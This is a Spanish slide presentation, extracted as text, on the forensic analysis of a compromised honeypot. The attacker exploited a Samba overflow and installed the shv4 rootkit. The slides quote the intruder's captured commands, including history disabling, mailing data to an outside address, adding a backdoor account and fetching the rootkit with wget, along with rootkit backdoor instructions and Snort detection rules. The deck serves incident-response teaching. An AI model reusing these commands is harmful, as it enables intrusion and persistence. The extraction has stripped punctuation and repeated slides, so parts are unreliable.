=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 9: Demostracion Hacking Honeypot y Análisis Forense

page 917062004

Resumen del incidente (12)

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 1017062004

Resumen del incidente (22)

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router

ADSL

EEUU

ITALIA

RUMANIA

ESPANtildeA (MADRID)

page 1117062004

Anaacutelisis forense

page 1217062004

Prueba 1Fecha de instalacioacuten del Honeypot

Conclusioacuten El honeypot se instaloacute los diacuteas 5 y 6 de julio de 2003Fuente RPM

[rootholmes dir2] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | head -5

Sat 05 Jul 2003 085412 PM CEST Sendmail-cfSat 05 Jul 2003 091858 PM CEST glibc-commonSat 05 Jul 2003 091859 PM CEST basesystemSat 05 Jul 2003 091859 PM CEST file systemSat 05 Jul 2003 091859 PM CEST gnome-mime-data[rootholmes root] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | tail -5

Sat 05 Jul 2003 093319 PM CEST screenSat 05 Jul 2003 093320 PM CEST xdeltaSat 05 Jul 2003 093349 PM CEST compsSun 06 Jul 2003 102454 AM CEST ncSun 06 Jul 2003 102611 AM CEST tripwire[rootholmes dir2]

page 1317062004

Prueba 2Honeypot apagado del 6 al 15 de julio

Conclusioacuten El honeypot estuvo apagado del 6 al 15 de julioFuente Autopsy + The Sleuth Kit timeline

Sun Jul 06 2003 125748 0 mac - varrunshutdownpid (deleted)0 mac - etcmailsendmailmcswp

(deleted)0 mac - lthoneypotsdb1dd-dead-51072gt

Sun Jul 06 2003 1257494096 mc d varrunconsole0 mac - varrunconsolelock (deleted)45 mac - homedavidbash_history24 a - rootbash_logout0 mac - lthoneypotsdb1dd-dead-51069gt

Tue Jul 15 2003 195705 42 a l libmodules2418-14pcmciaaha152x_cso -gt kerneldriversscsipcmciaaha152x_cso

41 a l libmodules2418-14pcmciawavelan_cso -gt kerneldriversnetpcmciawavelan_cso

page 1417062004

Prueba 3Primera alerta del IDS (x18 en 3 seg)

Conclusioacuten Intento de acceso remoto al honeypot (buffer overflow de SAMBA)Fuente Snort

[] [121034] NETBIOS SMB trans2open buffer overflow attempt [][Classification Attempted Administrator Privilege Gain] [Priority 1]0716-101928694888 101112942468 -gt 19216815139TCP TTL46 TOS0x0 ID30439 IpLen20 DgmLen1500 DFA Seq 0x59D7D6CF Ack 0x2EEEBAAF Win 0x16D0 TcpLen 32TCP Options (3) =gt NOP NOP TS 375824640 26197405[Xref =gt httpwwwdigitaldefensenetlabsadvisoriesDDI-1013txt][Xref =gt httpcvemitreorgcgi-bincvenamecginame=CAN-2003-0201]

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 10: Demostracion Hacking Honeypot y Análisis Forense

page 1017062004

Resumen del incidente (22)

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router

ADSL

EEUU

ITALIA

RUMANIA

ESPANtildeA (MADRID)

page 1117062004

Anaacutelisis forense

page 1217062004

Prueba 1Fecha de instalacioacuten del Honeypot

Conclusioacuten El honeypot se instaloacute los diacuteas 5 y 6 de julio de 2003Fuente RPM

[rootholmes dir2] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | head -5

Sat 05 Jul 2003 085412 PM CEST Sendmail-cfSat 05 Jul 2003 091858 PM CEST glibc-commonSat 05 Jul 2003 091859 PM CEST basesystemSat 05 Jul 2003 091859 PM CEST file systemSat 05 Jul 2003 091859 PM CEST gnome-mime-data[rootholmes root] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | tail -5

Sat 05 Jul 2003 093319 PM CEST screenSat 05 Jul 2003 093320 PM CEST xdeltaSat 05 Jul 2003 093349 PM CEST compsSun 06 Jul 2003 102454 AM CEST ncSun 06 Jul 2003 102611 AM CEST tripwire[rootholmes dir2]

page 1317062004

Prueba 2Honeypot apagado del 6 al 15 de julio

Conclusioacuten El honeypot estuvo apagado del 6 al 15 de julioFuente Autopsy + The Sleuth Kit timeline

Sun Jul 06 2003 125748 0 mac - varrunshutdownpid (deleted)0 mac - etcmailsendmailmcswp

(deleted)0 mac - lthoneypotsdb1dd-dead-51072gt

Sun Jul 06 2003 1257494096 mc d varrunconsole0 mac - varrunconsolelock (deleted)45 mac - homedavidbash_history24 a - rootbash_logout0 mac - lthoneypotsdb1dd-dead-51069gt

Tue Jul 15 2003 195705 42 a l libmodules2418-14pcmciaaha152x_cso -gt kerneldriversscsipcmciaaha152x_cso

41 a l libmodules2418-14pcmciawavelan_cso -gt kerneldriversnetpcmciawavelan_cso

page 1417062004

Prueba 3Primera alerta del IDS (x18 en 3 seg)

Conclusioacuten Intento de acceso remoto al honeypot (buffer overflow de SAMBA)Fuente Snort

[] [121034] NETBIOS SMB trans2open buffer overflow attempt [][Classification Attempted Administrator Privilege Gain] [Priority 1]0716-101928694888 101112942468 -gt 19216815139TCP TTL46 TOS0x0 ID30439 IpLen20 DgmLen1500 DFA Seq 0x59D7D6CF Ack 0x2EEEBAAF Win 0x16D0 TcpLen 32TCP Options (3) =gt NOP NOP TS 375824640 26197405[Xref =gt httpwwwdigitaldefensenetlabsadvisoriesDDI-1013txt][Xref =gt httpcvemitreorgcgi-bincvenamecginame=CAN-2003-0201]

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

